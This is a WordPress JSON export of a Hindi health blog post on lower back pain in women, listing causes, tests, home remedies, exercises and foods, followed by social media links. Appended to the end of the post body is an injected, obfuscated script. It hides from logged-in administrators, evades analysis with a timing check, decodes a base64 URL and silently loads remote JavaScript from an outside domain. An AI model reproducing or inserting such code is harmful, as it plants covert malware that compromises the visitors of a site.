{"id":9066,"date":"2023-10-01T18:15:10","date_gmt":"2023-10-01T18:15:10","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=9066"},"modified":"2025-10-24T21:10:27","modified_gmt":"2025-10-24T21:10:27","slug":"%e0%a4%ae%e0%a4%b9%e0%a4%bf%e0%a4%b2%e0%a4%be%e0%a4%93%e0%a4%82-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a4%ae%e0%a4%b0-%e0%a4%a6%e0%a4%b0%e0%a5%8d%e0%a4%a6-%e0%a4%95%e0%a5%87-%e0%a4%95%e0%a4%be","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/10\/01\/%e0%a4%ae%e0%a4%b9%e0%a4%bf%e0%a4%b2%e0%a4%be%e0%a4%93%e0%a4%82-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%95%e0%a4%ae%e0%a4%b0-%e0%a4%a6%e0%a4%b0%e0%a5%8d%e0%a4%a6-%e0%a4%95%e0%a5%87-%e0%a4%95%e0%a4%be\/","title":{"rendered":"Managing Lower Back Pain: A Guide for Women"},"content":{"rendered":"<h1><\/h1>\n<h1><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-9192\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-300x169.jpg\" alt=\"l b f\" width=\"838\" height=\"472\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-768x432.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f.jpg 798w\" sizes=\"(max-width: 838px) 100vw, 838px\" \/><\/h1>\n<h2><strong>\u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u092e\u0947\u0902 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0915\u094d\u092f\u094b\u0902 \u0939\u094b\u0924\u093e \u0939\u0948?<\/strong><\/h2>\n<h2><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9193\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-why-300x169.jpg\" alt=\"l b f why\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-why-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-why-700x397.jpg 700w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/l-b-f-why.jpg 706w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/h2>\n<p>\u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u092e\u0947\u0902 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0939\u094b\u0928\u0947 \u0915\u0940 \u0938\u092e\u0938\u094d\u092f\u093e \u0915\u093e \u0938\u092c\u0938\u0947 \u092a\u094d\u0930\u092e\u0941\u0916 \u0915\u093e\u0930\u0923 \u0938\u094d\u092a\u093e\u0907\u0928\u0932 \u0913\u0938\u094d\u091f\u093f\u092f\u094b\u0906\u0930\u094d\u0925\u0930\u093e\u0907\u091f\u093f\u0938 \u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948, \u092f\u0947 \u0938\u092e\u0938\u094d\u092f\u093e \u0930\u0940\u0922\u093c \u0915\u0947 \u091c\u094b\u0921\u093c \u0915\u094b \u091c\u094b\u0921\u093c\u0928\u0947 \u0935\u093e\u0932\u0940 \u091c\u0949\u0907\u0902\u091f \u092e\u0947\u0902 \u0915\u094d\u0937\u0924\u093f \u0939\u094b\u0928\u0947 \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0939\u094b\u0924\u0940 \u0939\u0948, \u0907\u0938\u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u091c\u093e\u0902\u0918, \u092a\u0940\u0920 \u0914\u0930 \u0928\u093f\u0924\u0902\u092c\u094b\u0902 \u092e\u0947\u0902 \u092d\u0940 \u0926\u0930\u094d\u0926 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n<h2><strong>\u0915\u092e\u0930<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong> <strong>\u0915\u093f\u0938\u0915\u0940<\/strong> <strong>\u0915\u092e\u0940<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9194\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/home-remedies-l-b-p-300x158.png\" alt=\"home remedies l b p\" width=\"300\" height=\"158\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/home-remedies-l-b-p-300x158.png 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/home-remedies-l-b-p.png 761w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u092c\u094012 \u0915\u092e\u0940\u0915\u092e\u0940 \u0938\u0947 \u0906\u092a\u0915\u094b \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n<h2><strong>\u092e\u0939\u093f\u0932\u093e\u0913\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u092e\u0930<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong><strong>\u00a0<\/strong><strong>\u0915\u0947<\/strong><strong>\u00a0<\/strong><strong>\u0915\u093e\u0930\u0923 \u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-9195\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/cauuses-l-b-p.jpg\" alt=\"cauuses l b p\" width=\"284\" height=\"160\" \/><\/p>\n<ol>\n<li>\u092c\u093f\u0917\u0921\u093c\u0940 \u0932\u093e\u0907\u092b\u0938\u094d\u091f\u093e\u0907\u0932-Sedentary lifestyle. \u091c\u092c \u0906\u092a \u0915\u093e\u092e \u0915\u0947 \u0932\u093f\u090f \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u092c\u0948\u0920\u0947 \u0930\u0939\u0924\u0947 \u0939\u0948\u0902 \u092f\u093e \u0906\u092a\u0915\u094b \u0939\u093f\u0932\u0928\u0947-\u0921\u0941\u0932\u0928\u0947 \u092e\u0947\u0902 \u0906\u0932\u0938 \u0906\u0924\u093e \u0939\u0948, \u0924\u094b \u0906\u092a\u0915\u094b\u0915\u092e\u0930 \u0926\u0930\u094d\u0926, \u0905\u0915\u0921\u093c\u0928 \u092f\u093e \u092c\u0947\u091a\u0948\u0928\u0940 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li>\u092a\u094d\u0930\u0940\u092e\u0947\u0902\u0938\u094d\u091f\u094d\u0930\u0941\u0905\u0932 \u0938\u093f\u0902\u0921\u094d\u0930\u094b\u092e-PMS<\/li>\n<li>\u092a\u094b\u0938\u094d\u091a\u0930 \u0916\u0930\u093e\u092c \u0939\u094b\u0928\u093e-Wrong posture<\/li>\n<li>\u090f\u0902\u0921\u094b\u092e\u0947\u091f\u094d\u0930\u093f\u092f\u094b\u0938\u093f\u0938-Endometriosis<\/li>\n<li>\u0905\u0927\u093f\u0915 \u092d\u093e\u0930\u0940 \u0935\u0938\u094d\u0924\u0941\u0913\u0902 \u0915\u094b \u092c\u093e\u0930-\u092c\u093e\u0930 \u0909\u0920\u093e\u0928\u093e\u0964<\/li>\n<li>\u0905\u091a\u093e\u0928\u0915 \u092f\u093e \u091d\u091f\u0915\u0947 \u0938\u0947 \u0909\u0920\u0928\u093e \u092f\u093e \u092c\u0948\u0920\u0928\u093e\u0964<\/li>\n<li>\u0917\u0932\u0924 \u092e\u0941\u0926\u094d\u0930\u093e (\u0938\u0939\u0940 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0928 \u0916\u095c\u093e \u0939\u094b\u0928\u093e \u0914\u0930 \u0928 \u092c\u0948\u0920\u0928\u093e)\u0964<\/li>\n<li>\u0924\u0928\u093e\u0935 \u2013 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0916\u093f\u0902\u091a\u093e\u0935\u0964<\/li>\n<li>\u0915\u093f\u0938\u0940 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0940 \u091a\u094b\u091f \u092f\u093e \u090f\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f\u0964<\/li>\n<\/ol>\n<h2><strong>\u092e\u0939\u093f\u0932\u093e\u0913\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u092e\u0930<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong> <strong>\u0915\u093e<\/strong> <strong>\u092e\u0941\u0916\u094d\u092f<\/strong> <strong>\u0915\u093e\u0930\u0923<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9196\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/main-causes-l-b-p-300x178.jpg\" alt=\"main causes l b p\" width=\"300\" height=\"178\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/main-causes-l-b-p-300x178.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/main-causes-l-b-p.jpg 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u092e\u0947\u0902 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0939\u094b\u0928\u0947 \u0915\u0940 \u0938\u092e\u0938\u094d\u092f\u093e \u0915\u093e \u0938\u092c\u0938\u0947 \u092a\u094d\u0930\u092e\u0941\u0916 \u0915\u093e\u0930\u0923\u0938\u094d\u092a\u093e\u0907\u0928\u0932 \u0913\u0938\u094d\u091f\u093f\u092f\u094b\u0906\u0930\u094d\u0925\u0930\u093e\u0907\u091f\u093f\u0938\u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948.<\/li>\n<li>\u092f\u0947 \u0938\u092e\u0938\u094d\u092f\u093e \u0930\u0940\u0922\u093c \u0915\u0947 \u091c\u094b\u0921\u093c \u0915\u094b \u091c\u094b\u0921\u093c\u0928\u0947 \u0935\u093e\u0932\u0940 \u091c\u0949\u0907\u0902\u091f \u092e\u0947\u0902 \u0915\u094d\u0937\u0924\u093f \u0939\u094b\u0928\u0947 \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0939\u094b\u0924\u0940 \u0939\u0948. \u0907\u0938\u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u091c\u093e\u0902\u0918, \u092a\u0940\u0920 \u0914\u0930 \u0928\u093f\u0924\u0902\u092c\u094b\u0902 \u092e\u0947\u0902 \u092d\u0940 \u0926\u0930\u094d\u0926 \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n<h2>\u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0915\u0947 \u0932\u0915\u094d\u0937\u0923 \u0915\u094d\u092f\u093e \u0939\u0948?<\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9197\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/symp-l-b-p-300x218.jpg\" alt=\"symp l b p\" width=\"300\" height=\"218\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/symp-l-b-p-300x218.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/symp-l-b-p.jpg 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0915\u093e \u090f\u0915 \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u0915\u093e\u0930\u0923 \u0916\u0940\u0902\u091a\u0940 \u0939\u0941\u0908 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u0940 (\u0924\u0928\u093e\u0935) \u091c\u0948\u0938\u0940 \u091a\u094b\u091f \u0939\u0948\u0964<\/li>\n<li>\u0915\u092d\u0940-\u0915\u092d\u0940 \u0938\u094d\u0932\u093f\u092a\u094d\u0921 \u0921\u093f\u0938\u094d\u0915 (slip disk), \u0915\u091f\u093f\u0938\u094d\u0928\u093e\u092f\u0941\u0936\u0942\u0932 (\u090f\u0915 \u092b\u0902\u0938\u0940 \u0939\u0941\u0908 \u0928\u0938) \u092f\u093e \u090f\u0902\u0915\u093f\u0932\u0949\u091c\u093c\u093f\u0902\u0917 \u0938\u094d\u092a\u0949\u0928\u094d\u0921\u093f\u0932\u093e\u0907\u091f\u093f\u0938 (Ankylosing spondylitis) \u091c\u0948\u0938\u0940 \u091a\u093f\u0915\u093f\u0924\u094d\u0938\u0940\u092f \u0938\u094d\u0925\u093f\u0924\u093f\u092f\u093e\u0901 \u092a\u0940\u0920 \u0926\u0930\u094d\u0926 \u0915\u093e \u0915\u093e\u0930\u0923 \u092c\u0928 \u0938\u0915\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<h2><strong>\u092e\u0939\u093f\u0932\u093e\u0913\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u092e\u0930<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u091c\u093e\u0901\u091a <\/strong><strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9198\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-l-b-p-300x254.jpg\" alt=\"treat l b p\" width=\"300\" height=\"254\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-l-b-p-300x254.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-l-b-p-768x649.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-l-b-p.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ol>\n<li>\u0938\u0940\u092c\u0940\u0938\u0940- \u0908\u090f\u0938\u0906\u0930 \u0915\u0947 \u0938\u093e\u0925 \u092a\u0942\u0930\u094d\u0923 \u0930\u0915\u094d\u0924 \u0917\u0923\u0928\u093e<\/li>\n<li>\u090f\u0915\u094d\u0938-\u0930\u0947<\/li>\n<li>\u0905\u0932\u094d\u091f\u094d\u0930\u093e\u0938\u093e\u0909\u0902\u0921- \u0938\u0902\u092a\u0942\u0930\u094d\u0923 \u092a\u0947\u091f\u0964 \u092e\u0942\u0924\u094d\u0930 \u092a\u0930\u0940\u0915\u094d\u0937\u0923 (\u0906\u0930\/\u090f\u092e)<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0921\u0940 \u092a\u0930\u0940\u0915\u094d\u0937\u0923<\/li>\n<li>\u0915\u0947\u090f\u092b\u091f\u0940- \u0915\u093f\u0921\u0928\u0940 \u092b\u0902\u0915\u094d\u0936\u0928 \u091f\u0947\u0938\u094d\u091f \u0915\u094b\u0932\u094b\u0928\u094b\u0938\u094d\u0915\u094b\u092a\u0940\/\u0938\u093f\u0917\u094d\u092e\u094b\u0907\u0921\u094b\u0938\u094d\u0915\u094b\u092a\u0940<\/li>\n<li>\u092f\u094b\u0928\u093f\u092d\u093f\u0924\u094d\u0924\u093f\u0926\u0930\u094d\u0936\u0928<\/li>\n<li>\u090f\u092b\u090f\u0928\u090f\u0938\u0940<\/li>\n<\/ol>\n<h2><strong>\u092e\u0939\u093f\u0932\u093e\u0913\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u092e\u0930<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0918\u0930\u0947\u0932\u0942<\/strong> <strong>\u0909\u092a\u091a\u093e\u0930 \u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9199\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/home-l-b-p-300x167.jpg\" alt=\"home l b p\" width=\"300\" height=\"167\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/home-l-b-p-300x167.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/home-l-b-p.jpg 699w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ol>\n<li>\u090f\u0915 \u0939\u0940\u091f\u093f\u0902\u0917 \u092a\u0948\u0921.<\/li>\n<li>\u0917\u0930\u094d\u092e \u0938\u094d\u0928\u093e\u0928.<\/li>\n<li>\u0913\u091f\u0940\u0938\u0940 \u0926\u0930\u094d\u0926\u0928\u093f\u0935\u093e\u0930\u0915\u0964<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0921\u0940 \u0915\u0940 \u0916\u0941\u0930\u093e\u0915<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u092c\u094012 \u0905\u0928\u0941\u092a\u0942\u0930\u0915<\/li>\n<li>\u090f\u0915 \u0924\u0915\u093f\u092f\u093e, \u0905\u091a\u094d\u091b\u093e \u0915\u092e\u0930 \u0915\u093e \u0938\u0939\u093e\u0930\u093e\u0964<\/li>\n<li>\u092e\u0947\u0925\u0940 \u092a\u093e\u0928\u0940<\/li>\n<li>\u0905\u0926\u0930\u0915<\/li>\n<li>\u0939\u0940\u0902\u0917<\/li>\n<\/ol>\n<h2><strong>\u0915\u092e\u0930<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0938\u092c\u0938\u0947<\/strong> <strong>\u0905\u091a\u094d\u091b\u0940<\/strong> <strong>\u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0940<\/strong> <strong>\u0939\u0948<\/strong>?<\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9200\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/exer-l-b-p-300x157.jpg\" alt=\"exer l b p\" width=\"300\" height=\"157\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/exer-l-b-p-300x157.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/exer-l-b-p-768x402.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/exer-l-b-p-1024x536.jpg 1024w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/exer-l-b-p.jpg 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ol>\n<li>\u0939\u093f\u092a \u0930\u094b\u0932 \u0907\u0938\u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c\u00a0\u0915\u094b \u0915\u0930\u0928\u0947 \u0915\u0947\u00a0\u0932\u093f\u090f \u0938\u092c\u0938\u0947\u00a0\u092a\u0939\u0932\u0947 \u092b\u0930\u094d\u0936 \u092a\u0930 \u092c\u093f\u091b\u093e\u090f \u0917\u090f \u092e\u0948\u091f \u092a\u0930 \u092a\u0940\u0920 \u0915\u0947 \u092c\u0932 \u0932\u0947\u091f \u091c\u093e\u090f\u0902\u0964<\/li>\n<li>\u092c\u0948\u0915 \u092e\u0948\u0938\u0947\u0902\u091c\u0930 \u0907\u0938\u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c\u00a0\u0915\u094b \u0915\u0930\u0928\u0947 \u0915\u0947\u00a0\u0932\u093f\u090f \u0938\u092c\u0938\u0947\u00a0\u092a\u0939\u0932\u0947 \u092a\u0940\u0920 \u0915\u0947 \u092c\u0932 \u0932\u0947\u091f \u091c\u093e\u090f\u0902<\/li>\n<li>\u0938\u094d\u092a\u093e\u0907\u0928 \u091f\u094d\u0935\u093f\u0938\u094d\u091f\u0938\u092c\u0938\u0947\u00a0\u092a\u0939\u0932\u0947 \u092a\u0940\u0920 \u0915\u0947 \u092c\u0932 \u0932\u0947\u091f \u091c\u093e\u090f\u0902<\/li>\n<li>\u092c\u094d\u0930\u0947\u0938\u094d\u091f \u0938\u094d\u091f\u094d\u0930\u094b\u0915 \u092a\u094d\u0930\u0947\u092a<\/li>\n<li>\u0938\u094d\u0935\u0948\u0928 \u0921\u093e\u0907\u0935<\/li>\n<li>\u0936\u0947\u0932 \u0938\u094d\u091f\u094d\u0930\u0947\u091a<\/li>\n<\/ol>\n<h2><strong>\u0915\u092e\u0930<\/strong> <strong>\u0926\u0930\u094d\u0926<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0916\u093e\u090f\u0902?<\/strong><\/h2>\n<ol>\n<li>Nuts<\/li>\n<li>Olive Oil<\/li>\n<li>Green Tea<\/li>\n<li>Spices: Ginger, garlic, and turmeric are spices<\/li>\n<li>Citrus fruits<\/li>\n<li>\u0939\u0930\u0940 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0901<\/li>\n<li>\u0926\u0942\u0927<\/li>\n<li>\u092a\u093e\u0928\u0940 \/ \u0917\u0930\u094d\u092e \u092a\u093e\u0928\u0940<\/li>\n<li>Fatty Fish<\/li>\n<\/ol>\n<p><strong>For more information Visit us :<\/strong><\/p>\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n<p><strong>RELATED VIDEO :\u00a0<\/strong><\/p>\n<ol>\n<li><strong>Ganglion cyst treatment<\/strong>\u00a0:\u00a0<a href=\"https:\/\/youtu.be\/TkvX4JVAq04\">https:\/\/youtu.be\/TkvX4JVAq04<\/a><\/li>\n<li class=\"title style-scope ytd-video-primary-info-renderer\"><strong>Bone Marrow Test<\/strong>\u00a0:\u00a0<a href=\"https:\/\/youtu.be\/KVf5gSUgLOw\">https:\/\/youtu.be\/KVf5gSUgLOw<\/a><\/li>\n<li class=\"title style-scope ytd-video-primary-info-renderer\"><strong>osteoarthritis<\/strong>\u00a0:\u00a0<a href=\"https:\/\/youtu.be\/WXGwZWrJd-s\">https:\/\/youtu.be\/WXGwZWrJd-s<\/a><\/li>\n<\/ol>\n<p><strong>RELATED ARTICLE :\u00a0<\/strong><\/p>\n<ol>\n<li><strong>Spiral Fracture :<\/strong>\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/25\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/25\/<\/a><\/li>\n<li><strong>Ostocalcium :\u00a0<\/strong><a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/30\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/30\/<\/a><\/li>\n<li><strong>Osteosarcoma cancer :\u00a0<\/strong><a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/24\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/24\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :\u00a0<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<p><strong>This video Covers the information about:<\/strong><\/p>\n<p><span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What are the causes of back pain in women?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the diagnosis of back pain in women?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the home remedy for back pain in women?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the best exercise for back pain?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What causes back pain? Deficiency of what?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the main cause of back pain in women?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What can back pain be a symptom of?<\/span><\/span><\/p>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u092e\u0947\u0902 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0915\u094d\u092f\u094b\u0902 \u0939\u094b\u0924\u093e \u0939\u0948? \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u092e\u0947\u0902 \u0915\u092e\u0930 \u0926\u0930\u094d\u0926 \u0939\u094b\u0928\u0947 \u0915\u0940 \u0938\u092e\u0938\u094d\u092f\u093e \u0915\u093e \u0938\u092c\u0938\u0947 \u092a\u094d\u0930\u092e\u0941\u0916 \u0915\u093e\u0930\u0923 \u0938\u094d\u092a\u093e\u0907\u0928\u0932 